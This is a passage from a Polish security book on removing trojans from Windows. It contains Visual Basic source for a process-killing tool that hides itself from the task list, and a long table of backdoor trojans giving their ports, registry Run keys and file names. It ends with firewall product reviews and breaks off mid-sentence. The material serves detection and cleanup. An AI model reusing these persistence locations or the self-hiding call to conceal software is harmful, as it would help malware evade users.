Niezbędne jest korzystanie z narzędzia regedit lub, w Windows NT 4 i 2000, RegEdt32.
Skrótu do niego nie znajdziemy w menu Start. Plik uruchamiający znajduje się w katalogu
systemu operacyjnego. Aby uruchomić Edytor Rejestru korzystamy z menu Start |
Uruchom i wprowadzamy polecenie
regedit
lub
regedt32
.
Przed wprowadzaniem jakichkolwiek modyfikacji w rejestrze (lub uruchamianiem
przedstawianych programów) należy utworzyć jego kopię zapasową. Oprogramowanie
umożliwiające skuteczne zabezpieczenie rejestru pobrać można z ośrodków TuCows
(www.tucows.com) lub Download (www.download.com).
Standardowe struktury rejestru to:
HKEY_CLASSES_ROOT. Zawiera ustawienia oprogramowania, które
opisują czynności inicjowane operacjami drag-and-drop, podstawowe informacje
o uchwytach i inne dane związane z interfejsem użytkownika. Znaleźć tu
można podklucz dla każdego ze zdefiniowanych skojarzeń plików.
HKEY_CURRENT_USER. Zawiera dane dotyczące zalogowanego w danym
momencie użytkownika. Obejmują one:
AppEvents. Przypisania dźwięków do generowanych przez system i aplikacje
zdarzeń.
Control Panel. Ustawienia określone poprzez Panel sterowania zbliżone
do znanych z plików
system.ini
,
win.ini
i
control.ini
systemu Windows 3.x.
InstallLocationsMRU. Zawiera ścieżki do folderów programów instalacyjnych.
Keyboard Layout. Określa bieżący układ klawiatury.
Network. Dane połączeń sieciowych.
RemoteAccess. Dane lokalizacji użytkownika, stosowane przez Dial-Up
Networking.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
105
105
Software. Ustawienia konfiguracyjne oprogramowania, stosowane
w odniesieniu do zalogowanego użytkownika.
HKEY_LOCAL_MACHINE. Informacje o ustawieniach oprogramowania
i podzespołów komputera, wspólne wszystkim użytkownikom danej stacji:
Config. Dane i ustawienia konfiguracji.
Enum. Dane i ustawienia urządzeń sprzętowych.
Hardware. Dane i ustawienia szeregowych portów komunikacyjnych.
Network. Informacje o sieciach, do których zalogowany jest użytkownik.
Security. Ustawienia zabezpieczeń sieciowych.
Software. Dane i ustawienia specyficzne dla zainstalowanego oprogramowania.
System. Dane inicjalizacyjne, informacje o sterownikach i ustawienia
systemu operacyjnego.
HKEY_USERS. Informacje o ustawieniach pulpitu i użytkownika — zawiera
podklucze dla wszystkich zdefiniowanych w systemie Windows użytkowników.
Domyślnym kluczem ustawień użytkownika jest .default.
HKEY_CURRENT_CONFIG. Informacja o bieżącej konfiguracji
sprzętowej — odwołanie do elementu HKEY_LOCAL_MACHINE.
HKEY_DYN_DATA. Dane dynamiczne, dotyczące zainstalowanych w systemie
urządzeń Plug and Play. Ulegają zmianie w trakcie pracy systemu, wraz
z dołączaniem i odłączaniem urządzeń.
Przy usuwaniu plików zdarzyć się może, że wyświetlone zostanie okienko podobne do
przedstawionego na rysunku 1.32. Informuje ono, że plik jest aktualnie używany — po-
służył do uruchomienia pracującego w systemie procesu. W tego rodzaju wypadkach
konieczne jest zamknięcie procesu. Można wciśnięciem Ctrl+Alt+Delete wywołać
okienko Zamknij program i skorzystać z polecenia Zakończ zadanie. Jednak nie wszystkie
procesy będą w menedżerze zadań widoczne. Wyświetlenie pełnej listy umożliwia pro-
ste narzędzie dla systemów Windows 9x/Me — TigerWipe (patrz rysunek 1.33). Aby
zamknąć proces, zaznaczamy odpowiednią pozycję i klikamy Wyczyść. Na kolejnych
stronach przedstawiamy jego kod źródłowy — Czytelnik może dostosować i wykorzy-
stać przedstawione w nim procedury. Przykładowym kierunkiem rozbudowy może być
wersja wykrywająca konie trojańskie, zamykająca ich procesy i usuwająca odpowiednie
pliki. Tutaj prezentujemy jedynie prosty interfejs do samodzielnej obsługi listy.
Rysunek 1.32.
Błąd typu File in use
(plik w użyciu)
TigerWipe
Dim X(100), Y(100), Z(100) As Integer
Dim tmpX(100), tmpY(100), tmpZ(100) As Integer
106
Hack Wars. Tom 2. Na tropie hakerów
106
Dim K As Integer
Dim Zoom As Integer
Dim Speed As Integer
Rysunek 1.33.
Dzięki TigerWipe
usuwanie ukrytych
procesów nie jest
czynnością trudną
Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Form_Activate()
Speed = -1
K = 2038
Zoom = 256
Timer1.Interval = 1
For i = 0 To 100
X(i) = Int(Rnd * 1024) - 512
Y(i) = Int(Rnd * 1024) - 512
Z(i) = Int(Rnd * 512) - 256
Next i
End Sub
Private Sub Command1_Click()
KillApp (Text1.Text)
End Sub
Public Function KillApp(myName As String) As Boolean
Const PROCESS_ALL_ACCESS = 0
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim exitCode As Long
Dim myProcess As Long
Dim AppKill As Boolean
Dim appCount As Integer
Dim i As Integer
On Local Error GoTo Finish
appCount = 0
Const TH32CS_SNAPPROCESS As Long = 2&
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
107
107
uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)
List1.Clear
Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
List1.AddItem (szExename)
If Right$(szExename, Len(myName)) = LCase$(myName) Then
KillApp = True
appCount = appCount + 1
myProcess = OpenProcess(PROCESS_ALL_ACCESS, False,
uProcess.th32ProcessID)
AppKill = TerminateProcess(myProcess, exitCode)
Call CloseHandle(myProcess)
End If
rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
Call CloseHandle(hSnapshot)
Finish:
End Function
Private Sub Form_Load()
KillApp ("none")
RegisterServiceProcess GetCurrentProcessId, 1 'Ukrycie aplikacji
End Sub
Private Sub Form_Resize()
List1.Width = Form1.Width - 400
List1.Height = Form1.Height - 1000
Text1.Width = Form1.Width - Command1.Width - 300
Command1.Left = Text1.Width + 150
End Sub
Private Sub Form_Unload(Cancel As Integer)
RegisterServiceProcess GetCurrentProcessId, 0 'Wyrejestrowanie
znacznika usługi
End Sub
Private Sub List1_Click()
Text1.Text = List1.List(List1.ListIndex)
End Sub
Private Sub List1_dblClick()
Text1.Text = List1.List(List1.ListIndex)
KillApp (Text1.Text)
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = "13" Then
KillApp (Text1.Text)
End If
End Sub
Private Sub Timer1_Timer()
For i = 0 To 100
Next i
108
Hack Wars. Tom 2. Na tropie hakerów
108
End Sub
Moduł
Const MAX_PATH& = 260
Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess
As Long, ByVal
uExitCode As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As
Long, ByVal
blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First"
(ByVal
hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next"
(ByVal hSnapshot
As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias
"CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As
Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As
Long
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal
ProcessID As
Long, ByVal ServiceFlags As Long) As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Lista portów
Aby Czytelnik miał pełną orientację, przedstawimy teraz listę portów i związanych z nimi
szkodliwych usług, uzupełnioną danymi niezbędnymi do podjęcia wymienionych
wcześniej czynności (a więc usunięcia plików i wpisów rejestru).
Po oczyszczeniu systemu ze szkodliwych „rodzynków” nigdy nie należy rezygnować
z restartu systemu — zapewni to stabilność pracy komputera, jak również pewność, że w
pamięci nie pozostały żadne niepotrzebne składniki. Przy usuwaniu kluczy rejestru dodat-
kowy restart należy wykonać przed przejściem do usuwania plików, które wskazują.
Jeżeli masz trudności lub obawiasz się wprowadzania zmian systemowych w rejestrze Win-
dows, sięgnij do dodatku A, gdzie znajdziesz więcej informacji o oprogramowaniu
wspomagającym zabezpieczanie systemu. Korzystając z TigerWatch możesz monitorować i
blokować porty oraz usługi systemowe, unikając konieczności bezpośredniego ingerowa-
nia w pliki systemu czy rejestr.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
109
109
Porty 21, 5400 – 5402
Usługa: Back Construction
Wpis w Rejestrze:
HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Shell)
Plik do usunięcia:
\windows\cmctl32.exe
Usługa: Blade Runner
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: System-Tray)
Plik do usunięcia:
server.exe
Usługa: Fore
Plik do usunięcia:
fore.exe
Usługa: Invisible FTP
Plik do usunięcia:
ftp.exe
Port 23
Usługa: Tiny Telnet Server
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Windll.exe = "C:\\WINDOWS\\Windll.exe"
Plik do usunięcia:
c:\windows\Windll.exe
Porty 25 i 110
Usługa: Antigen
Plik do usunięcia:
antigen.exe
Usługa: Email Password Sender
Pliki do usunięcia:
winstart.bat
,
winstat.exe
,
priocol.exe
,
priocol.dll
Usługa: Shtrilitz
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Tspool)
Plik do usunięcia:
spool64.exe
Usługa: Stealth
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Winprotect System)
Plik do usunięcia:
winprotecte.exe
Usługa: Tapiras
110
Hack Wars. Tom 2. Na tropie hakerów
110
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: tapiras.exe)
Plik do usunięcia:
tapiras.exe
Usługa: WinPC
Plik do usunięcia:
winpc.exe
Porty 41, 999, 2140, 3150, 6670 – 6771, 60000
Usługa: Deep Throat
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SystemTray)
Plik do usunięcia:
systray.exe
,
pddt.dat
Porty 79 i 5321
Usługa: Firehotker
Plik do usunięcia:
server.exe
Port 80
Usługa: Executor
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Executer1)
Plik do usunięcia:
server.exe
lub
sexec.exe
Port 113
Usługa: Kazimas
Plik do usunięcia:
milbug_a.exe
Port 121
Usługa: JammerKillah
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
(Wpis: MsWind32drv)
Plik do usunięcia:
MsWind32.drv
Porty 531 i 1045
Usługa: Rasmin
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
111
111
Plik do usunięcia:
rasmin.exe
,
wspool.exe
,
winsrvc.exe
,
inipx.exe
,
upgrade.exe
Porty 555 i 9989
Usługa: phAse Zero
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: MsgServ)
Plik do usunięcia:
msgsvr32.exe
Port 666
Usługa: Attack FTP
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Reminder)
Plik do usunięcia:
wscan.exe
,
drwatsom.exe
,
serv-u.ini
,
results.dll
,
wver.dll
Usługa: Back Construction
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Shell)
Plik do usunięcia:
cmctl32.exe
Usługa: Cain & Abel
Plik do usunięcia:
abel.exe
Porty 1010 – 1015
Usługa: Doly Trojan
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run for
file tesk.exe\ (Wartość: tesk.exe)
Plik do usunięcia:
tesk.exe
Port 1042
Usługa: BLA
Wpisy w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
System = "C:\WINDOWS\System\mprdll.exe" HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\CurrentVersion\Run\SystemDoor = "C:\WINDOWS\ Sys-
tem\rundll argp1"
Plik do usunięcia:
mprdll.exe
112
Hack Wars. Tom 2. Na tropie hakerów
112
Port 1234
Usługa: Ultors Trojan
Plik do usunięcia:
t5port.exe
Port 1243, 6776
Usługa: SubSeven
Plik do usunięcia:
nodll.exe
,
server.exe
,
kernel16.dll
,
windows.exe
,
wtching.dll
,
lmdrk_33.dll
Port 1245
Usługa: VooDoo Doll
Plik do usunięcia:
adm.exe
Port 1492
Usługa: FTP99CMP
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: WinDLL_16)
Plik do usunięcia:
windll16.exe
,
serv-u.ini
Port 1981
Usługa: shockrave
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: NetworkPopup)
Plik do usunięcia:
netpopup.exe
Port 1999
Usługa: BackDoor
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: notpa)
Plik do usunięcia:
notpa.exe
Porty 1999 – 2005 i 9878
Usługa: Transmission Scout
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: kernel16)
Plik do usunięcia:
kernel16.exe
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
113
113
Port 2001
Usługa: Trojan Cow
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SysWindow)
Plik do usunięcia:
syswindow.exe
Port 2115
Usługa: Bugs
Wpis w Rejestrze:
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SysTray)
Plik do usunięcia:
systemtr.exe
Porty 2140 i 3150
Usługa: The Invasor
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SystemDLL32)
Plik do usunięcia:
runme.exe
Porty 2155 i 5512
Usługa: Illusion Mailer
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Sysmem)
Plik do usunięcia:
memory.exe
Port 2565
Usługa: Striker
Plik do usunięcia:
servers.exe
Port 2600
Usługa: Digital RootBeer
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: ActiveX Console)
Plik do usunięcia:
patch.exe
114
Hack Wars. Tom 2. Na tropie hakerów
114
Port 2989
Usługa: RAT
Wpisy w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
Explorer = "C:\WINDOWS\system\MSGSVR16.EXE"
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\Default = " "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\Explorer = " "
Porty 3459 – 3801
Usługa: Eclipse
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
Rnaapp = "C:\WINDOWS\SYSTEM\rmaapp.exe"
Plik do usunięcia:
rmaapp.exe
Porty 3700, 9872 – 9875, 10067 i 10167
Usługa: Portal of Doom
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\ (Wpis: String)
Plik do usunięcia:
ljsgz.exe
,
server.exe
Port 4567
Usługa: File Nail
Plik do usunięcia:
server.exe
Port 5000
Usługa: Bubbel
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Windows)
Plik do usunięcia:
bubbel.exe
Port 5001, 30303, 50505
Usługa: Sockets de Troie
Wpisy w Rejestrze:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
MSchv32 Drv = "C:\WINDOWS\SYSTEM\MSchv32.exe"
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
115
115
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
Mgadeskdll = "C:\WINDOWS\SYSTEM\Mgadeskdll.exe"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
Rsrcload = „C:\WINDOWS\Rsrcload.exe”
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices\
Load Csmctrl32 = „C:\WINDOWS\SYSTEM\Csmctrl32.exe”
Plik do usunięcia:
mschv32.exe
Port 5569
Usługa: Robo-Hack
Plik do usunięcia:
robo-serv.exe
Port 6400
Usługa: The tHing
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Default)
Plik do usunięcia:
thing.exe
Port 6912
Usługa: Shit Heep
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: recycle-bin)
Pliki do usunięcia:
system.exe
,
update.exe
Porty 6969, 16969
Usługa: Priority
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Pserver)
Plik do usunięcia:
pserver.exe
Port 6970
Usługa: GateCrasher
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Inet)
Plik do usunięcia:
system.exe
116
Hack Wars. Tom 2. Na tropie hakerów
116
Port 7000
Usługa: Remote Grab
Plik do usunięcia:
mprexe.exe
Port 9400
Usługa: InCommand
Plik do usunięcia:
olemon32.exe
Port 10101
Usługa: BrainSpy
Wpisy w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Dualji)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Gbubuzhnw)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Fexhqcux)
Plik do usunięcia:
brainspy.exe
Port 10520
Usługa: Acid Shivers
Plik do usunięcia:
en-cid12.exe
,
en-cid12.dat
Port 10607
Usługa: Coma
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: RunTime)
Pliki do usunięcia:
msgsrv36.exe
,
server.exe
Port 12223
Usługa: Hack’99 KeyLogger
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunServices\ (Wpis: HkeyLog)
Plik do usunięcia:
HKeyLog.exe
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
117
117
Porty 12345 – 12346
Usługa: NetBus/2/Pro
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Services\ (Wpis: Netbus)
Plik do usunięcia:
sysedit.exe
,
patch.exe
Porty 20000 – 20001
Usługa: Millenium
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: millenium)
Plik do usunięcia:
hool.exe
Port 21544
Usługa: GirlFriend
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: windll)
Plik do usunięcia:
windll.exe
Porty 22222 i 33333
Usługa: Prosiak
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Microsoft DLL Loader)
Pliki do usunięcia:
windll32.exe
,
prosiak.exe
Port 30029
Usługa: AOL Trojan
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: dat92003)
Plik do usunięcia:
dat92003.exe
Porty 30100 – 30102
Usługa: NetSphere
Wpis w Rejestrze:
118
Hack Wars. Tom 2. Na tropie hakerów
118
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: nssx)
Plik do usunięcia:
nssx.exe
Porty 1349, 31337 – 31338 i 54320 – 54321
Usługa: Back Orifice
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: bo)
Porty 31785 – 31792
Usługa: Hack'a'Tack
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Explorer32)
Plik do usunięcia:
expl32.exe
Port 33911
Usługa: Spirit
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: SystemTray)
Plik do usunięcia:
windown.exe
Port 40412
Usługa: The Spy
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: systray)
Plik do usunięcia:
systray.exe
Port 47262
Usługa: Delta Source
Wpis w Rejestrze:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Ds admin tool)
Port 65000
Usługa: Devil
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
119
119
Pliki do usunięcia:
opscript.exe
,
winamp34.exe
,
wingenocid.exe
,
icqflood.exe
Programy monitorujące i blokujące
Programy umożliwiające monitorowanie i blokowanie portów funkcjonują jako mini-
zapory firewall. „Mini” nie oznacza tu jednak, że zapewniają one słabszą ochronę. Są to
samodzielne mechanizmy obronne systemów końcowych sieci. Można oczekiwać, że na-
biorą one ogromnego znaczenia w dalszym rozwoju technik bezpieczeństwa. Właściwe
zapory firewall „z definicji” służyć mają jako systemy łączności między sieciami, za-
bezpieczające jednocześnie jedną ze stron komunikacji. Współcześnie nie można jed-
nak twierdzić, że zapewniają one wystarczającą ochronę.
Systemy obecnie pracujące w sieciach, jak również na prywatnych komputerach PC,
zawierają wiele cennych informacji — wystarczająco interesujących, aby przyciągnąć
uwagę wszelkiej maści hakerów, crackerów czy cyberpunków. Zapory graniczne sieci
mogą być jedynie punktem wyjścia. I one mogą ulec włamaniu. Nie należy również
lekceważyć zagrożeń wewnętrznych, inicjowanych z sieci lokalnej. Firewall jest więc
dopiero pierwszą cegiełką. Zamykamy za sobą drzwi i przechodzimy do zabezpiecza-
nia wnętrza, aż do poziomu pojedynczych komputerów.
Na kolejnych kilkunastu stronach przedstawimy najlepsze narzędzia monitorujące i bloku-
jące porty — najlepsze, ale nie ze względu na poziom sprzedaży czy cenę. Wybraliśmy te,
które oferują najwyższy poziom ochrony systemu. Ich działanie opiera się na monito-
rowaniu i, ewentualnie, blokowaniu wymiany danych. Pracują w powiązaniu z przyłą-
czami fizycznymi, jak karty sieciowe, lub wirtualnymi, np. połączeniami telefonicznymi.
Przedstawiane tutaj pakiety ilustrują różnorodne podejścia do tych samych funkcji. Naj-
lepiej więc wybrać takie, które odpowiada naszym potrzebom i które może być odpo-
wiednio dopasowywane w przyszłości.
BlackICE Defender
BlackICE Defender firmy Network ICE (www.networkice.com) to system ochrony przed
włamaniami, który monitoruje komputer osobisty, korzystający z połączenia DSL, przez
modem kablowy lub telefonicznego, wykrywając podejmowane wobec niego ataki. Wy-
krycie naruszenia zabezpieczeń sygnalizowane jest alarmem (dźwiękiem). Automatycznie
blokowane jest przyjmowanie pakietów ze stacji atakującej (patrz rysunek 1.34).
120
Hack Wars. Tom 2. Na tropie hakerów
120
Rysunek 1.34.
Narzędzie BlackICE
zabezpiecza również
przed atakami
inicjowanymi
z sieci LAN
Działanie programu jest konfigurowalne: naruszenie zasad zabezpieczeń wprowadzać
może źródło zaufane, wówczas komunikacja nie zostanie przerwana (patrz rysunek
1.35). Słabą stroną takiego rozwiązania jest umożliwienie ataków opartych na podrabia-
niu adresów. Istotnym uzupełnieniem będzie więc najczęściej blokowanie portów. Inne
niedociągnięcia narzędzia BlackICE to brak filtrowania na poziomie aplikacji, błędy
w pracy narzędzia oraz brak mechanizmów zarządzania zasadami bezpieczeństwa.
Rysunek 1.35.
Konfigurowanie
narzędzia
W ogólnym ujęciu, BlackICE Defender działa bardzo skutecznie i zapewnia zarówno
raporty, jak i przegląd historii ataków (patrz rysunek 1.36). Wbudowany mechanizm
ś
ledzenia gromadzi informacje o atakach („dowody”): adres IP hakera, jego nazwę
DNS i adres MAC, wraz z przesyłanymi do lokalnego komputera danymi. Naruszenia
bezpieczeństwa oceniane są odpowiednio do poziomu ich szkodliwości. Poniżej po-
ziomu oznaczonego jako 60 znajdziemy charakterystyczne dla fazy rozpoznawania
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
121
121
sieci wywołania różnych skanerów. Ataki o wyższym poziomie szkodliwości to już
faktyczne włamania przeprowadzane przez doświadczonych hakerów.
Firma Network ICE oferuje również nowszy produkt, ICEpaq Security Suite, zapew-
niający ochronę sieci przedsiębiorstw, łącznie z dostępem VPN. Pakiet zawiera moduły
służące do instalowania na serwerach w sieci, połączone ze scentralizowanym systemem
zarządzania.
Podsumowując, produkty Network ICE to interesujące rozwiązanie zarówno dla ma-
łych firm, jak i dużych lub średnich sieci przedsiębiorstw.
Rysunek 1.36.
BlackICE generuje
zestawienia ataków
LockDown 2000
LockDown 2000 (www.lockdown2000.com) to narzędzie do ochrony systemu, zapew-
niające wykrywanie koni trojańskich oraz ataków ICQ i Nuke (patrz rysunek 1.37).
Wyposażone zostało również w mechanizmy usuwania dużej ilości szkodliwych usług.
LockDown 2000 monitoruje również udziały w systemie. Pakiet zbiera ostatnio bardzo
pozytywne opinie.
Rysunek 1.37.
Interfejs graficzny
narzędzia
LockDown 2000
122
Hack Wars. Tom 2. Na tropie hakerów
122
Norton Internet Security
Norton Internet Security (www.norton.com) to profesjonalna ochrona przed włamania-
mi. Zbudowany wokół sprawdzonego jądra pakiet zapewnia ochronę przed takimi
atakami zdalnymi, jak DoS, wirusy, formanty ActiveX, skrypty Java i wieloma innymi.
Automatyczne pobieranie nowych definicji wirusów zapewnia technologia LiveUpdate.
Można również zabezpieczyć swoje informacje personalne, uniemożliwiając przesyłanie
plików cookie. Wszystkie te funkcje zapewniają pakietowi Norton Internet Security
niezachwianą pozycję wśród programów „z górnej półki”.
Interfejs administracyjny uwzględnia dużą liczbę łatwo dostępnych i rozbudowanych
funkcji, stając się przez to nieco mniej przejrzysty dla użytkowników o małym doświad-
czeniu (patrz rysunek 1.38). Próbą zaradzenia temu problemowi są mechanizmy auto-
matycznego konfigurowania zapory. Mimo to, łatwo o błędy w ustawieniach, prowadzące
do zablokowania standardowych procedur komunikacyjnych. Sygnalizowane są rów-
nież problemy ze stabilnością systemu operacyjnego po zainstalowaniu całości pakie-
tu. Można podejrzewać, że wynikają one z łączenia instalacji Norton Internet Se-
curity z innym oprogramowaniem o podobnym przeznaczeniu.
Rysunek 1.38.
Zaawansowane
ustawienia
konfiguracyjne
pakietu Norton
Internet Security
ZoneAlarm Pro
ZoneAlarm Pro, firmy ZoneLabs (www.zonelabs.com) to kolejny popularny demon
„osobistej zapory firewall”, przeznaczony przede wszystkim do wykorzystania na łą-
czach telefonicznych, DSL i kablowych (choć nie tylko). Produkt ten bardzo skutecznie
blokuje próby nieuprawnionego dostępu, uwzględniając również techniki „zasłaniania”
(cloaking). Łatwe jest konfigurowanie własnych reguł zabezpieczeń, blokujących dostęp
do Internetu przy zachowaniu komunikacji z udziałami lokalnymi. Całość ustawień zebra-
na została w prostym interfejsie konfiguracyjnym, przedstawionym na rysunku 1.39. Fir-
ma oferuje również darmowe oprogramowanie ochronne dla komputerów domowych.
Pośród najnowszych funkcji programu znajdziemy:
Ochronę hasłem, uniemożliwiającą nieuprawnioną zmianę ustawień zabezpieczeń.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
123
123
Błyskawiczną konfigurację udostępniania połączenia internetowego i translacji
adresów (NAT).
Zaawansowane narzędzia umożliwiające wymagającym użytkownikom
precyzyjne dostosowanie narzędzia do własnych potrzeb.
Strefę ograniczonego dostępu, umożliwiającą zablokowanie adresów IP,
z których uruchamiane są skanowania portów.
Rysunek 1.39.
Konfigurowanie
narzędzia ZoneAlarm
Konfigurowalne alerty i dzienniki, umożliwiające natychmiastowe
powiadamianie i ciągłe katalogowanie informacji o próbach włamań.
Zaawansowane zarządzanie komunikacją aplikacji z Internetem.
Zaawansowany mechanizm ochrony załączników poczty elektronicznej
MailSafe, który rozpoznaje i analizuje pliki 37 typów.
Brak w programie kilku najbardziej wyrafinowanych funkcji przypomina jedynie, że
praca nad produktem dopiero się zaczęła.
TigerGuard
Jak wielokrotnie już wspomniano, użytkownicy Windows, zarówno prywatni, jak i zwią-
zani z rozbudowanym środowiskiem sieciowym, którzy oczekują możliwości pełnej
kontroli nad programem i ochrony portów w sposób samodzielnie dostosowany do
własnych wymagań, skorzystać mogą z narzędzia TigerGuard. Zaznajomienie się z tym
